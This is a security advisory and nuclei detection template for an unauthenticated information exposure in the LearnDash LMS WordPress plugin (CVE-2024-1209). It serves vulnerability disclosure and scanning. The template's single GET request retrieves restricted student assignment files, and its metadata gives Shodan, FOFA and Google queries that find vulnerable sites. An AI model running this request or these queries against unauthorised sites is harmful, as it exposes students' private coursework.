LearnDash LMS < 4.10.2 - Sensitive Information Exposure via assignments

mediumseverity

5.3CVSS score

2.4%likelihood of exploitation, next 30 days

84%of all CVEs are less likely

Readycheck to confirm it

The LearnDash LMS plugin for WordPress is vulnerable to Sensitive Information Exposure in all versions up to, and including, 4.10.1 via direct file access due to insufficient protection of uploaded assignments. This makes it possible for unauthenticated attackers to obtain those uploads.

Impact

Unauthenticated attackers can access the LearnDash API to obtain uploaded student assignments and coursework that should be restricted to instructors and enrolled learners.

Fix

Fixed in 4.10.2

How to confirm it

Send: GET {{BaseURL}}/wp-json/wp/v2/sfwd-assignment
Positive when: contains "\"id\":" and "slug\":\"assignment" and ".pdf\"" AND contains in header "application/json" AND status 200

Run it with nuclei: nuclei -id CVE-2024-1209 -u <target>

The full check

id: CVE-2024-1209

info:
  name: LearnDash LMS < 4.10.2 - Sensitive Information Exposure via assignments
  author: ritikchaddha
  severity: medium
  description: |
    The LearnDash LMS plugin for WordPress is vulnerable to Sensitive Information Exposure in all versions up to, and including, 4.10.1 via direct file access due to insufficient protection of uploaded assignments. This makes it possible for unauthenticated attackers to obtain those uploads.
  impact: |
    Unauthenticated attackers can access the LearnDash API to obtain uploaded student assignments and coursework that should be restricted to instructors and enrolled learners.
  remediation: Fixed in 4.10.2
  reference:
    - https://wpscan.com/vulnerability/f813a21d-7a6a-4ff4-a43c-3e2991a23c7f/
    - https://github.com/karlemilnikka/CVE-2024-1209
    - https://nvd.nist.gov/vuln/detail/CVE-2024-1209
    - https://www.learndash.com/release-notes/
    - https://www.wordfence.com/threat-intel/vulnerabilities/id/7191955e-0db1-4ad1-878b-74f90ca59c91?source=cve
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2024-1209
    epss-score: 0.02399
    epss-percentile: 0.84158
    cpe: cpe:2.3:a:learndash:learndash:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: learndash
    product: learndash
    framework: wordpress
    shodan-query: http.html:/wp-content/plugins/sfwd-lms
    fofa-query: body=/wp-content/plugins/sfwd-lms
    publicwww-query: "/wp-content/plugins/sfwd-lms"
    google-query: inurl:"/wp-content/plugins/sfwd-lms"
  tags: wpscan,cve,cve2024,wp,wp-plugin,wordpress,exposure,learndash,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-json/wp/v2/sfwd-assignment"

    host-redirects: true
    max-redirects: 2
    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"id":'
          - 'slug":"assignment'
          - '.pdf"'
        condition: and

      - type: word
        part: header
        words:
          - 'application/json'

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from